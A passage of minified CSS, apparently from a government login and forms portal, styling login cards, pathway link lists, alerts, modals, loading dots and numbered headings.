#0f6493;margin-left:3px;padding-left:15px;margin-bottom:1em;position:relative;max-width:42em}.hasInfo span.hasInfo{border:0;padding:0;margin:0;width:100%;font-size:1rem;clear:both;display:block}.hasInfo p{margin-top:.5em}.hasInfo--DI{border-left:solid 4px #0f6493;margin-left:3px;padding-left:15px;background-color:#ebf5fb;padding:1em 2em 2em 2em;margin:1em 0;position:relative;max-width:42em}.hasInfo--DI p{margin-top:.5em}.hasInfo--DI p a{display:unset}.hasLinkInfo{border-left:solid 4px #0f6493;margin-left:3px;padding-left:15px;display:block;margin-bottom:1em;position:relative;max-width:80em}.hasLinkInfo[role='region']{display:none}.hasLinkInfo span.hasLinkInfo{border:0;padding:0;margin:0;width:100%;font-size:1rem;clear:both;display:block}.hasLinkInfo p{margin-top:.5em}.outage{background-color:#f9eedc;-webkit-box-flex:0;-webkit-flex:0 0 auto;-ms-flex:0 0 auto;flex:0 0 auto;padding:8px 1em;position:relative}@media screen and (min-width:576px){.outage{padding:8px 2em}}.outage strong{color:#b7202d}.outage .expand{top:-6px;width:44px;height:44px;padding:0}.outage .expand--expanded{-webkit-transform:rotate(180deg);transform:rotate(180deg)}.outage .expand:focus{outline-offset:-3px}.outage p{display:inline;margin:0}.outage p:before{content:'';display:block}.outage p+p:before{margin-top:1em}.outage__inner{max-width:900px;margin:0 auto;padding:0 40px 0 40px;position:relative}.outage__inner:before{background-image:url("../icons/warning-filled.svg");background-repeat:no-repeat;background-position:center center;content:'';display:inline-block;height:30px;left:0;position:absolute;top:0;width:30px}.outage__content{max-height:1.7em;overflow:hidden;text-overflow:ellipsis;white-space:nowrap;margin-right:1em}.outage__content--expanded{max-height:none;overflow:visible;text-overflow:clip;white-space:normal}.pathway-link-list{padding-left:0;line-height:1.6em;margin-bottom:2.5rem;border-top:2px solid #333;border-bottom:1px solid #333;width:100%;margin-top:0}.pathway-link-list li{list-style:none;border-bottom:1px solid #999;margin-bottom:0}.pathway-link-list li:last-of-type{border-bottom:0}.pathway-link-item{padding:.8em 50px .8em .8em;background:0;border:0;display:block;color:#333;text-decoration:none;text-align:left;margin:0;outline:0;width:100%;position:relative;height:auto;font-size:1rem;word-wrap:break-word;overflow-wrap:break-word;-ms-word-break:break-word}.pathway-link-item .hasIssues{position:relative;width:60px;height:70px;float:right;background-image:url("../icons/error-filled.svg");background-repeat:no-repeat;background-position:top center;text-align:center}.pathway-link-item .hasIssues span{color:#b7202d;position:absolute;width:100%;top:40px;right:0;font-weight:bold;font-size:87.5%;display:inline-block}.pathway-link-item.isActive{border-left:6px solid #026540}.pathway-link-item.isActive .pathway-link-indicator{color:#026540;font-weight:700;display:inline-block}.pathway-link-item.isInactive .pathway-link-indicator{color:#b7202d;font-weight:700;display:inline-block}.pathway-link-item::after{background-image:url("../icons/chevron-right.svg");content:'';width:30px;background-repeat:no-repeat;background-size:auto 100%;position:absolute;height:30px;top:50%;right:0;-webkit-transform:translateY(-50%);transform:translateY(-50%)}.pathway-link-item:hover,.pathway-link-item:focus{background-color:#eee;color:#333}span.pathway-link-item:hover,span.pathway-link-item:focus{background-color:initial}.pathway-link-item:active{background-color:#ccc;color:#333}.pathway-link-item span{display:block}.pathway-link-item--service{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-orient:horizontal;-webkit-box-direction:normal;-webkit-flex-direction:row;-ms-flex-direction:row;flex-direction:row;padding-right:.8em}.pathway-link-item--service::after{content:initial;background-image:none}.pathway-link-item--service .pathway-link-service{-webkit-align-self:center;-ms-flex-item-align:center;-ms-grid-row-align:center;align-self:center;-webkit-box-flex:1;-webkit-flex-grow:1;-ms-flex-positive:1;flex-grow:1}.pathway-link-item--service .pathway-link-service .extra-info{margin-top:.4em}.pathway-link-item--service .pathway-link-service .active{color:#026540;font-weight:700;display:inline}.pathway-link-item--service .pathway-link-service .inactive{color:#b7202d;font-weight:700;display:inline}.pathway-link-item--service .pathway-link-action{-webkit-align-self:center;-ms-flex-item-align:center;-ms-grid-row-align:center;align-self:center;margin-left:20px}.pathway-link-item--service .pathway-link-action>[class*=' button'],.pathway-link-item--service .pathway-link-action>[class^='button']{height:auto;line-height:1.6;padding:10px;width:auto}.pathway-link-item-disable{padding:.8em 50px .8em .8em;background:0;border:0;display:block;color:#333;text-decoration:none;text-align:left;margin:0;outline:0;width:100%;position:relative;height:auto;font-size:1rem;word-wrap:break-word;overflow-wrap:break-word;-ms-word-break:break-word}.pathway-link-item-disable span{display:block}.pathway-link-item-locked{padding:.8em 50px .8em .8em;background:0;border:0;display:block;color:#333;text-decoration:none;text-align:left;margin:0;outline:0;width:100%;position:relative;height:auto;font-size:1rem;word-wrap:break-word;overflow-wrap:break-word;-ms-word-break:break-word}.pathway-link-item-locked img{max-width:1em}.pathway-link-title{margin-top:0;font-size:1.125rem;font-weight:700;line-height:1.4}.pathway-link-title--disable{color:#767676}.pathway-link-title--locked{margin-left:1em}.pathway-link-description--disable{color:#767676}.final-pathway{padding:0;list-style-type:none;display:inline-block;width:100%;margin-top:0}.final-pathway li{border-bottom:1px solid #ccc;margin:0}.final-pathway li:nth-child(1){border-top:2px solid #333}.final-pathway li:nth-last-child(1){border-bottom:2px solid #333}.final-pathway li:nth-child(odd){background-color:#eee}.final-pathway li .pathway-link-item::after{background-image:none}.or-break{margin-top:10px;margin-bottom:10px}.service-pathway-link .pathway-link-item{padding-top:1.5em;padding-bottom:1.5em}.uikit-skip-link{font-family:-apple-system,BlinkMacSystemFont,"Segoe UI","Roboto","Oxygen","Ubuntu","Cantarell","Fira Sans","Droid Sans","Helvetica Neue",sans-serif;color:#333;line-height:1.6}.uikit-skip-link__link{position:absolute;width:1px;height:1px;padding:0;margin:-1px;overflow:hidden;clip:rect(0,0,0,0);border:0;color:black;background-color:white}.uikit-skip-link__link:active,.uikit-skip-link__link:focus{clip:auto;height:auto;margin:0;overflow:visible;position:absolute;width:auto;font-size:21px;top:.8em;left:.8em;padding:.4em .8em;color:#333;background-color:#fff;text-decoration:none;z-index:1}table{margin-bottom:1.6em}.content-table{width:100%;border-collapse:collapse}.content-table thead tr:first-of-type{background-color:#fff}.content-table tr:nth-child(odd){background-color:#eee}.content-table td,.content-table th{border-bottom:solid 1px #ccc;padding:.4em;text-align:left}@media screen and (min-width:768px){.content-table td,.content-table th{padding:.8em;font-size:initial}}.content-table thead{border-bottom:solid 2px #333}.alert-list{width:100%;padding-left:0;margin-top:0;border:1px solid #999;border-radius:.5em}.alert-list li{list-style:none;border-bottom:1px solid #999;margin-bottom:0}.alert-list li:last-of-type{border-bottom:0}.alert-item{padding:1em;display:block}@media screen and (min-width:768px){.alert-item{display:-webkit-inline-box;display:-webkit-inline-flex;display:-ms-inline-flexbox;display:inline-flex}}.alert-icon{display:-webkit-inline-box;display:-webkit-inline-flex;display:-ms-inline-flexbox;display:inline-flex;background-color:#bfe7f6;border:0;border-radius:.25em;height:2.5em;width:2.5em;padding:.5em;text-align:center;float:left;margin:0 1em 0 0}@media screen and (min-width:768px){.alert-icon{margin:auto}}.alert-icon img{max-width:1.5em}.alert-info{width:-webkit-fit-content;width:-moz-fit-content;width:fit-content}@media screen and (min-width:768px){.alert-info{margin:0 2em auto 1em}}.alert-link{vertical-align:middle;display:block;vertical-align:middle;text-align:left;width:-webkit-max-content;width:-moz-max-content;width:max-content}@media screen and (min-width:768px){.alert-link{margin:auto 1em auto 0;display:block;text-align:right}}.alert-link .alert-link-arrow{display:block;position:relative;text-decoration:none;outline:0;border-bottom:solid 1px #0f6493;-webkit-transition-timing-function:ease-in-out;transition-timing-function:ease-in-out;-webkit-transition-duration:.1s;transition-duration:.1s;-webkit-transition-property:background-color,border-color,color;transition-property:background-color,border-color,color;width:-webkit-max-content;width:-moz-max-content;width:max-content;margin-top:1.5em}@media screen and (min-width:768px){.alert-link .alert-link-arrow{margin-top:0}}.alert-link .alert-link-arrow:after{content:'';position:absolute;top:0;right:-1em;display:block;width:1.3em;height:1.5em;background-repeat:no-repeat;background-position:right .4em;background-size:.64em auto;background-image:url("../icons/link-arrow.svg")}.alert-link .data-alert-dismiss-button{margin-top:1.5em}.account-history-table th:first-of-type,.account-history-table td:first-of-type{border-right:1px solid #999}.account-history-table th{display:table-cell;border-style:none;width:initial}.account-history-table th:focus{outline:-webkit-focus-ring-color auto 5px}.account-history-table th>img{vertical-align:middle}.account-history-table td{vertical-align:top}.account-history-date,.account-history-time,.account-history-comment{display:block}.hr-word{width:100%;height:13px;border-bottom:1px solid #ccc;text-align:center;margin-top:.5em}.hr-word span{background-color:#eee;padding:0 10px}.hr-word-mapwap{width:100%;height:13px;border-bottom:1px solid #ccc;text-align:center;margin-top:1.5em}.hr-word-mapwap span{background-color:#fff;padding:0 10px}.unauth .anchor{background-color:#eee}.unauth .anchor:hover{background-color:#0f6493}.unauth .wap-anchor{background-color:transparent}.unauth .wap-anchor:hover{background-color:#0f6493}.unauth .showPassword{background-color:transparent}.unauth .showPassword:hover{background-color:#0f6493}.unauth .section-heading,.unauth #poro-form h2,#poro-form .unauth h2,.unauth #poro-form .display,#poro-form .unauth .display,.unauth .poro-form h2,.poro-form .unauth h2,.unauth .poro-form .display,.poro-form .unauth .display{padding-top:0}.unauth .wrapper{padding:0}.unauth .main-block{width:100%;margin:auto}.unauth .product-description .inner,.unauth .product-description .digital-id-inner{max-width:900px;margin-left:auto;margin-right:auto;padding:0 2em}@media screen and (min-width:992px){.unauth .product-description .inner,.unauth .product-description .digital-id-inner{padding:0;margin-left:30px}}.unauth .product-description .inner h1:first-of-type,.unauth .product-description .digital-id-inner h1:first-of-type,.unauth .product-description .inner p:first-of-type,.unauth .product-description .digital-id-inner p:first-of-type{text-align:center}@media screen and (min-width:992px){.unauth .product-description .inner h1:first-of-type,.unauth .product-description .digital-id-inner h1:first-of-type,.unauth .product-description .inner p:first-of-type,.unauth .product-description .digital-id-inner p:first-of-type{text-align:left}}.unauth .product-description .inner h1,.unauth .product-description .digital-id-inner h1{margin-top:36px}@media screen and (min-width:992px){.unauth .product-description .inner h1,.unauth .product-description .digital-id-inner h1{margin-top:0}}.unauth .product-description .digital-id-inner p:first-of-type{text-align:left}.unauth .product-description .digital-id-inner h2:first-of-type,.unauth .product-description .digital-id-inner .display:first-of-type{margin-top:0;padding-top:0}.unauth .product-description .digital-id-inner h2,.unauth .product-description .digital-id-inner .display{font-weight:600}.unauth .product-description .digital-id-inner hr{border-top:3px #999 dashed;margin:2em 0}.unauth .product-description ul{-webkit-columns:1;-moz-columns:1;columns:1;margin:0 auto;list-style-position:outside}@media screen and (min-width:768px){.unauth .product-description ul{-webkit-columns:2;-moz-columns:2;columns:2}}@media screen and (min-width:992px){.unauth .product-description ul{-webkit-columns:1;-moz-columns:1;columns:1}}.unauth .login-card-wrapper{background-color:#eee}@media screen and (min-width:992px){.unauth .login-card-wrapper{background-color:inherit}}.unauth .digital-id-main-login-card{margin:-1em auto -1em auto;padding:3px 1em 20px 1em}@media screen and (min-width:576px){.unauth .digital-id-main-login-card{padding:16px 1em 0 1em}}.unauth .digital-id-login-card-wrapper{background-color:#eee}.unauth .digital-id-login-card{background-color:#eee;padding:10px;max-width:465px;margin:0 auto 2em auto;padding:0 1em 1em 1em;text-align:center}@media screen and (min-width:576px){.unauth .digital-id-login-card{padding:16px 1em 20px 1em}}.unauth .digital-id-login-card .button-main{width:100%}.unauth .digital-id-login-card .identity-hub-info-text{background-color:#fff}.unauth .digital-id-login-card .identity-hub-info-text p{text-align:left;padding:10px}.unauth .digital-id-login-card:nth-child(2){padding:1em}.unauth .login-card,.unauth .digital-id-main-login-card{background-color:#eee;padding:10px;max-width:465px;margin:0 auto;padding:16px 1em 20px 1em}.unauth .login-card label .help-text,.unauth .digital-id-main-login-card label .help-text{display:block}.unauth .login-card a.login-link,.unauth .digital-id-main-login-card a.login-link{margin-bottom:1.5em}.unauth .login-card .in-message-link,.unauth .digital-id-main-login-card .in-message-link{display:inline}.unauth .login-card input,.unauth .digital-id-main-login-card input{margin-bottom:0}.unauth .login-card .button-main,.unauth .digital-id-main-login-card .button-main,.unauth .login-card .button-minor,.unauth .digital-id-main-login-card .button-minor{width:100%}.unauth .login-card .crest,.unauth .digital-id-main-login-card .crest{margin-bottom:20px;padding-bottom:20px}.unauth .login-card .crest img,.unauth .digital-id-main-login-card .crest img{width:180px;margin:0 auto;display:inherit;padding-top:6px}.unauth .wap-login-card{background-color:#fff;padding:10px;margin:0 auto;padding:16px 1em 20px 1em}.unauth .wap-login-card label .help-text{display:block}.unauth .wap-login-card a.login-link{margin-bottom:1.5em}.unauth .wap-login-card .in-message-link{display:inline}.unauth .wap-login-card input{margin-bottom:0}.unauth .wap-login-card .button-main,.unauth .wap-login-card .button-minor{width:100%}.unauth .wap-login-card .crest{margin-bottom:20px;padding-bottom:20px}.unauth .wap-login-card .crest img{width:180px;margin:0 auto;display:inherit;padding-top:6px}.unauth h1 .success-msg,.unauth h1 .error-msg,.unauth h1 .info-msg{font-size:1.5rem}.unauth h1 .success-msg-text,.unauth h1 .error-msg-text,.unauth h1 .info-msg-text{padding-left:10px}.unauth .centered{text-align:center;display:block}@media screen and (min-width:576px){.unauth .centered{text-align:left}}.unauth div.contained{max-width:42em;margin-top:20px}.unauth footer[role='contentinfo'] .wrapper{padding:0 1em}@media screen and (min-width:768px){.unauth footer[role='contentinfo'] .wrapper{padding:0 2em}}.section-group{padding-top:1em;padding-bottom:1em}.login-grid-container{width:100%}@media screen and (min-width:992px){.login-grid-container{margin-top:1em}}.login-grid-container .sign-in-banner{display:none}@media screen and (min-width:992px){.login-grid-container .sign-in-banner{display:block;margin-bottom:1em;font-weight:600}}.login-grid-row:before,.login-grid-row:after{display:table;line-height:0;content:""}.login-grid-row:after{clear:both}.login-grid-column{float:left;box-sizing:border-box;min-height:1px;position:relative;width:100%}@media screen and (min-width:992px){.login-grid-column{width:50%}}header[role='banner'].unauth .unauth-grid{width:100%;height:48px;margin-top:1em}header[role='banner'].unauth .unauth-grid .unauth-grid-row{margin-left:1em;margin-right:1em}@media screen and (min-width:576px){header[role='banner'].unauth .unauth-grid .unauth-grid-row{margin-left:2em;margin-right:2em}}@media screen and (min-width:992px){header[role='banner'].unauth .unauth-grid .unauth-grid-row{margin-left:0;margin-right:0}}header[role='banner'].unauth .unauth-grid .unauth-grid-row:before,header[role='banner'].unauth .unauth-grid .unauth-grid-row:after{display:table;line-height:0;content:""}header[role='banner'].unauth .unauth-grid a{border-bottom:0}header[role='banner'].unauth .unauth-grid .coat-arms{margin-top:4px}header[role='banner'].unauth .unauth-grid .header-logo.unauth{float:right;position:inherit;top:31px;margin-top:8px;width:90px}@media screen and (min-width:576px){header[role='banner'].unauth .unauth-grid .header-logo.unauth{float:left;margin-top:8px;width:112px}}@media screen and (min-width:768px){header[role='banner'].unauth .unauth-grid .header-logo.unauth{width:135px;margin-top:4px}}img#unauth-govt-crest{float:left;height:40px;margin-right:1em;color:#fff}@media screen and (min-width:576px){img#unauth-govt-crest{height:48px;margin-right:2em}}@media screen and (min-width:992px){img#unauth-govt-crest{margin-left:0;height:48px}}img#unauth-mygov-logo{float:right}@media screen and (min-width:576px){img#unauth-mygov-logo{float:left;color:#fff}}.header-logo-img{color:#fff}.header-logo-img:hover{text-decoration:underline!important}.unauth .login-card input,.unauth .digital-id-main-login-card input{margin-bottom:.5em}.divider{margin:1.5em 0;border-bottom:3px #999 dashed}.image-float-right{float:right}.mygovbeta-tip{overflow:auto}.tip-heading{margin-top:0!important;float:left;font-weight:500}.tip-text{float:left;width:60%}@media screen and (max-width:991px){.tip-heading{float:none;margin-top:0!important;text-align:center}.tip-text{float:none;width:100%;text-align:center!important}.image-float-right{display:block;margin:1.5em auto;float:none}.mygovbeta-tip{text-align:center}}.emergency-information{display:block;text-align:center;background-color:#fcb80e;color:#333;margin-bottom:0;padding:0;height:0}.emergency-information p,.emergency-information .emergency-text{display:inline}.emergency-information img{width:1em}.beta-information{height:auto;display:block;text-align:center;background-color:#66d3ee;color:#000}.beta-information p{padding-left:5px;padding-right:5px}.beta-information a{display:inline;color:#000;text-decoration:underline;border-bottom:0}.beta-information a:hover{background-color:#254a7e;color:#fff;text-decoration:underline}.mygovbeta-tip{overflow:auto}@media only screen and (max-width:992px){.mygovbeta-tip{text-align:center}}.tip-heading{float:left;font-weight:500}@media only screen and (max-width:992px){.tip-heading{float:none;margin-top:0!important}}.tip-text{float:left;width:60%}@media only screen and (max-width:992px){.tip-text{float:none;width:100%}}p.login-instruction-text{margin-left:10px}.sr-only{position:absolute;left:-10000px;top:auto;width:1px;height:1px;overflow:hidden}.wrapper-integration{padding:0}.wrapper-integration .welcome{max-width:400px;padding-left:1em;margin-left:auto;margin-right:auto}.wrapper-integration .welcome p{margin-top:0;margin-bottom:1.5em}@media screen and (min-width:576px){.wrapper-integration .welcome{max-width:600px}}@media screen and (min-width:992px){.wrapper-integration .welcome{padding-left:0}}.wrapper-integration .main-block{background-color:#eee;max-width:400px;margin-left:auto;margin-right:auto;padding:.5em 1em 1em 1em}@media screen and (min-width:576px){.wrapper-integration .main-block{max-width:600px;padding:.5em 2em 2em 2em}}.wrapper-integration-mapwap{padding:0}.wrapper-integration-mapwap h1:first-of-type{padding-top:1.5rem;margin-top:0}.wrapper-integration-mapwap .main-block{background-color:#eee;max-width:400px;margin-left:auto;margin-right:auto;padding:0 1em 3em 1em}@media screen and (min-width:576px){.wrapper-integration-mapwap .main-block{padding:0 2em 3em 2em;max-width:600px}}#integration-span{background-color:#eee}.account-info-group span{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex}.account-info-group #account-info-label{margin-top:1.2em;margin-bottom:.4em}.account-info-group #account-info-detail{font-size:1em;overflow-wrap:break-word;display:block}@media screen and (min-width:320px){.account-info-group #account-info-detail{font-size:1.25em}}.account-info-group #account-info-detail-changeable{background:#ccc;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-pack:justify;-webkit-justify-content:space-between;-ms-flex-pack:justify;justify-content:space-between;padding:.7em .5em}.account-info-group #account-info-detail-changeable div:first-of-type{overflow-wrap:break-word;width:48%}.unauth h1.login-vp{display:none}@media screen and (min-width:992px){.unauth h1.login-vp{display:block;font-size:2.25em;font-weight:400}}.unauth h2.login-vp,.unauth .login-vp.display{font-weight:500}.unauth .product-description-vp .inner,.unauth .product-description-vp .product-description .digital-id-inner,.unauth .product-description .product-description-vp .digital-id-inner{max-width:900px;margin-left:auto;margin-right:auto;padding:0 2em}@media screen and (min-width:992px){.unauth .product-description-vp .inner,.unauth .product-description-vp .product-description .digital-id-inner,.unauth .product-description .product-description-vp .digital-id-inner{padding:0;margin-left:30px}}.unauth .product-description-vp .inner .tips,.unauth .product-description-vp .product-description .digital-id-inner .tips,.unauth .product-description .product-description-vp .digital-id-inner .tips{text-align:center}.unauth .product-description-vp .inner .tips img,.unauth .product-description-vp .product-description .digital-id-inner .tips img,.unauth .product-description .product-description-vp .digital-id-inner .tips img{width:100%;height:auto;max-height:215px}@media screen and (min-width:576px){.unauth .product-description-vp .inner .tips img,.unauth .product-description-vp .product-description .digital-id-inner .tips img,.unauth .product-description .product-description-vp .digital-id-inner .tips img{width:30%}}.unauth .product-description-vp .inner .tips h2,.unauth .product-description-vp .product-description .digital-id-inner .tips h2,.unauth .product-description .product-description-vp .digital-id-inner .tips h2,.unauth .product-description-vp .inner .tips .display,.unauth .product-description-vp .product-description .digital-id-inner .tips .display,.unauth .product-description .product-description-vp .digital-id-inner .tips .display{position:relative}.unauth .product-description-vp .inner .tips span,.unauth .product-description-vp .product-description .digital-id-inner .tips span,.unauth .product-description .product-description-vp .digital-id-inner .tips span{display:inline-block;margin-top:1em}@media screen and (min-width:992px){.unauth .product-description-vp .inner .tips,.unauth .product-description-vp .product-description .digital-id-inner .tips,.unauth .product-description .product-description-vp .digital-id-inner .tips{text-align:left}.unauth .product-description-vp .inner .tips h2,.unauth .product-description-vp .product-description .digital-id-inner .tips h2,.unauth .product-description .product-description-vp .digital-id-inner .tips h2,.unauth .product-description-vp .inner .tips .display,.unauth .product-description-vp .product-description .digital-id-inner .tips .display,.unauth .product-description .product-description-vp .digital-id-inner .tips .display{float:right}.unauth .product-description-vp .inner .tips img,.unauth .product-description-vp .product-description .digital-id-inner .tips img,.unauth .product-description .product-description-vp .digital-id-inner .tips img{float:left}}.unauth .product-description-vp .inner h2:first-of-type,.unauth .product-description-vp .product-description .digital-id-inner h2:first-of-type,.unauth .product-description .product-description-vp .digital-id-inner h2:first-of-type,.unauth .product-description-vp .inner .display:first-of-type,.unauth .product-description-vp .product-description .digital-id-inner .display:first-of-type,.unauth .product-description .product-description-vp .digital-id-inner .display:first-of-type,.unauth .product-description-vp .inner p:first-of-type,.unauth .product-description-vp .product-description .digital-id-inner p:first-of-type,.unauth .product-description .product-description-vp .digital-id-inner p:first-of-type{text-align:center}@media screen and (min-width:992px){.unauth .product-description-vp .inner h2:first-of-type,.unauth .product-description-vp .product-description .digital-id-inner h2:first-of-type,.unauth .product-description .product-description-vp .digital-id-inner h2:first-of-type,.unauth .product-description-vp .inner .display:first-of-type,.unauth .product-description-vp .product-description .digital-id-inner .display:first-of-type,.unauth .product-description .product-description-vp .digital-id-inner .display:first-of-type,.unauth .product-description-vp .inner p:first-of-type,.unauth .product-description-vp .product-description .digital-id-inner p:first-of-type,.unauth .product-description .product-description-vp .digital-id-inner p:first-of-type{margin-top:0;text-align:left}}.unauth .product-description-vp .divider{margin:1.5em 0;border-bottom:3px #999 dashed}.unauth .product-description-vp ul{-webkit-columns:1;-moz-columns:1;columns:1;margin:0 auto;list-style-position:inside;padding-left:0}@media screen and (min-width:992px){.unauth .product-description-vp ul{overflow:auto}.unauth .product-description-vp ul li{float:left;padding-right:1em}}@-webkit-keyframes loading{0%{background-color:#ccc}40%{background-color:#026540}60%{background-color:#ccc}}@keyframes loading{0%{background-color:#ccc}40%{background-color:#026540}60%{background-color:#ccc}}.animated-dots span{-webkit-animation-name:loading;animation-name:loading;-webkit-animation-direction:normal;animation-direction:normal;-webkit-animation-duration:1.5s;animation-duration:1.5s;-webkit-animation-iteration-count:infinite;animation-iteration-count:infinite;-webkit-animation-timing-function:linear;animation-timing-function:linear;border-radius:50%;background-color:#ccc;display:inline-block;margin:0 .3em;height:16px;width:16px}.animated-dots span:nth-child(1){-webkit-animation-delay:.9s;animation-delay:.9s}.animated-dots span:nth-child(2){-webkit-animation-delay:1.05s;animation-delay:1.05s}.animated-dots span:nth-child(3){-webkit-animation-delay:1.2s;animation-delay:1.2s}.animated-dots span:nth-child(4){-webkit-animation-delay:1.35s;animation-delay:1.35s}.animated-dots span:nth-child(5){-webkit-animation-delay:1.5s;animation-delay:1.5s}.offset-top{margin-top:30%;text-align:center}#poro-form label,.poro-form label{display:inline-block}#poro-form #profile-details .profile-label span:first-of-type,.poro-form #profile-details .profile-label span:first-of-type{font-weight:bold}#poro-form .side-a,#poro-form .select-group,.poro-form .side-a,.poro-form .select-group{display:block;width:100%}@media screen and (min-width:768px){#poro-form .side-a,#poro-form .select-group,.poro-form .side-a,.poro-form .select-group{float:left;width:48%;clear:left}}#poro-form .side-b,#poro-form .select-group+.select-group,.poro-form .side-b,.poro-form .select-group+.select-group{display:block;width:100%}@media screen and (min-width:768px){#poro-form .side-b,#poro-form .select-group+.select-group,.poro-form .side-b,.poro-form .select-group+.select-group{float:right;width:48%}}#poro-form .selectRadio,.poro-form .selectRadio{clear:left}#poro-form .sidebyside,.poro-form .sidebyside{display:table;width:100%}#poro-form .sidebyside>div,.poro-form .sidebyside>div{display:table-column;width:100%;display:block;clear:none}@media screen and (min-width:768px){#poro-form .sidebyside>div,.poro-form .sidebyside>div{width:48%;float:left;display:inline-block}}@media screen and (min-width:768px){#poro-form .sidebyside>div:nth-of-type(even),.poro-form .sidebyside>div:nth-of-type(even){float:right;display:inline-block}}#poro-form .poro-input,.poro-form .poro-input{width:100%}@media screen and (min-width:768px){#poro-form .poro-input,.poro-form .poro-input{width:48%}}#poro-form .poro-date-fields,.poro-form .poro-date-fields{display:block;clear:both}#poro-form .poro-input-group,.poro-form .poro-input-group{width:100%}@media screen and (min-width:768px){#poro-form .poro-input-group,.poro-form .poro-input-group{width:48%}}#poro-form .poro-field-group,#poro-form .poro-input-group,.poro-form .poro-field-group,.poro-form .poro-input-group{margin-top:15px;display:block;clear:both}#poro-form .poro-field-group label,#poro-form .poro-input-group label,.poro-form .poro-field-group label,.poro-form .poro-input-group label{margin-top:0;display:inline;position:relative;padding-top:0;width:100%}@media screen and (min-width:768px){#poro-form .poro-field-group.select-group,#poro-form .poro-input-group.select-group,.poro-form .poro-field-group.select-group,.poro-form .poro-input-group.select-group{clear:none}}#poro-form .buttonControl-group,.poro-form .buttonControl-group{margin-left:5px;position:relative;display:inline-block}#poro-form .buttonControl::after,.poro-form .buttonControl::after{content:'';background-image:url("../icons/panel-icon.svg");top:10px;-webkit-transform:rotate(180deg);transform:rotate(180deg);background-repeat:no-repeat;border-color:black;color:#0f6493;position:absolute;right:-20px;height:8px;width:12px}#poro-form .buttonControl span,.poro-form .buttonControl span{font-size:1rem}#poro-form .buttonControl[aria-expanded="true"]::after,.poro-form .buttonControl[aria-expanded="true"]::after{background-image:url("../icons/panel-icon.svg");top:10px;-webkit-transform:rotate(0deg);transform:rotate(0deg)}#poro-form .topic,.poro-form .topic{display:none;margin-bottom:1em;padding:10px;background-color:#bfe7f6;max-width:42em;font-size:87.5%;position:relative;margin-top:10px}#poro-form .topic:before,.poro-form .topic:before{bottom:100%;left:50px;border:solid transparent;content:" ";height:0;width:0;position:absolute;pointer-events:none}#poro-form .topic:before,.poro-form .topic:before{border-bottom-color:#bfe7f6;border-width:10px;margin-left:-36px}#poro-form .topic p,.poro-form .topic p{margin:0}#poro-form .input-hint,#poro-form .help-box,.poro-form .input-hint,.poro-form .help-box{font-size:87.5%}#poro-form .input-hint p,#poro-form .help-box p,.poro-form .input-hint p,.poro-form .help-box p{margin:0;padding:0}#poro-form .poro-subgroup .sub-group-delimiter,.poro-form .poro-subgroup .sub-group-delimiter{float:left;width:1em;top:15px;height:100%;position:relative;display:inline-block}#poro-form .poro-subgroup input,.poro-form .poro-subgroup input{width:4em;float:left}#poro-form .poro-subgroup input.medium-input,.poro-form .poro-subgroup input.medium-input{width:5em}#poro-form .poro-subgroup input.large-input,.poro-form .poro-subgroup input.large-input{width:10em}#poro-form .poro-subgroup input.xl-input,.poro-form .poro-subgroup input.xl-input{width:100%}#poro-form .poro-subgroup input:first-of-type,.poro-form .poro-subgroup input:first-of-type{margin-right:5px}#poro-form input.irn-code,.poro-form input.irn-code{width:4em}#poro-form .modal-overlay,.poro-form .modal-overlay{background:rgba(0,0,0,0.8);height:100%;left:0;display:block;overflow:auto;padding:0 1.5em 1.5em;position:fixed;top:0;-webkit-transition:opacity .2s;transition:opacity .2s;width:100%;z-index:-1}#poro-form .modal-overlay h2,#poro-form .modal-overlay .display,.poro-form .modal-overlay h2,.poro-form .modal-overlay .display{border-bottom:0}#poro-form .modal-overlay[aria-hidden="true"],.poro-form .modal-overlay[aria-hidden="true"]{opacity:0;visibility:hidden}#poro-form .modal-overlay[aria-hidden="false"],.poro-form .modal-overlay[aria-hidden="false"]{opacity:1;visibility:visible;z-index:2}#poro-form .modal-content,.poro-form .modal-content{background:#fff;margin:auto;max-height:90%;max-width:400px;overflow:auto;overflow-x:hidden;padding:1em;position:relative;top:10%;-webkit-transform:scale(0.8);transform:scale(0.8);-webkit-transition:-webkit-transform .3s;transition:-webkit-transform .3s;transition:transform .3s;transition:transform .3s,-webkit-transform .3s;width:100%}#poro-form .modal-overlay[aria-hidden="false"] .modal-content,.poro-form .modal-overlay[aria-hidden="false"] .modal-content{-webkit-transform:scale(1);transform:scale(1)}#poro-form #modal-title,.poro-form #modal-title{margin-top:0;padding-right:1.25em}#poro-form .btn-close,.poro-form .btn-close{background:0;border:0;cursor:pointer;font-family:arial;font-size:2em;font-weight:800;line-height:1;padding:0;position:absolute;right:.25em;top:.25em;z-index:2}#poro-form .help-container,.poro-form .help-container{background-color:#eee;padding:2em;font-size:.8rem}#poro-form .help-container p,.poro-form .help-container p{margin:0}#poro-form .help-container a,.poro-form .help-container a{color:#0f6493}#poro-form .help-container a:hover,.poro-form .help-container a:hover{color:#fff}#poro-form input[name*="clkCRN"][value="000000000Z"],.poro-form input[name*="clkCRN"][value="000000000Z"]{color:transparent}/*! Increment heading numers based on code from: http://philarcher.org/diary/2013/headingnumbers/ */ol.table-of-contents{padding-left:0;list-style:none}ol.table-of-contents ol{list-style:none}ol.table-of-contents .toc-n{display:inline-block;padding-right:.5em}.numbered-headings{counter-reset:h2}.numbered-headings h2,.numbered-headings .display{counter-reset:h3}.numbered-headings h3,.numbered-headings #poro-form #modal-title,#poro-form .numbered-headings #modal-title,.numbered-headings .poro-form #modal-title,.poro-form .numbered-headings #modal-title{counter-reset:h4}.numbered-headings h4{counter-reset:h5}.numbered-headings h5{counter-reset:h6}.numbered-headings h2::before,.numbered-headings .display::before{counter-increment:h2;content:counter(h2) ". "}.numbered-headings h3::before,.numbered-headings #poro-form #modal-title::before,#poro-form .numbered-headings #modal-title::before,.numbered-headings .poro-form #modal-title::before,.poro-form .numbered-headings #modal-title::before{counter-increment:h3;content:counter(h2) "." counter(h3) " "}.numbered-headings h4::before{counter-increment:h4;content:counter(h2) "." counter(h3) "." counter(h4) " "}.numbered-headings h5::before{counter-increment:h5;content:counter(h2) "." counter(h3) "." counter(h4) "." counter(h5) " "}.numbered-headings h6::before{counter-increment:h6;content:counter(h2) "." counter(h3) "." counter(h4) "." counter(h5) "." counter(h6) " "}.numbered-headings h2.nocount:before,.numbered-headings .nocount.display:before,.numbered-headings 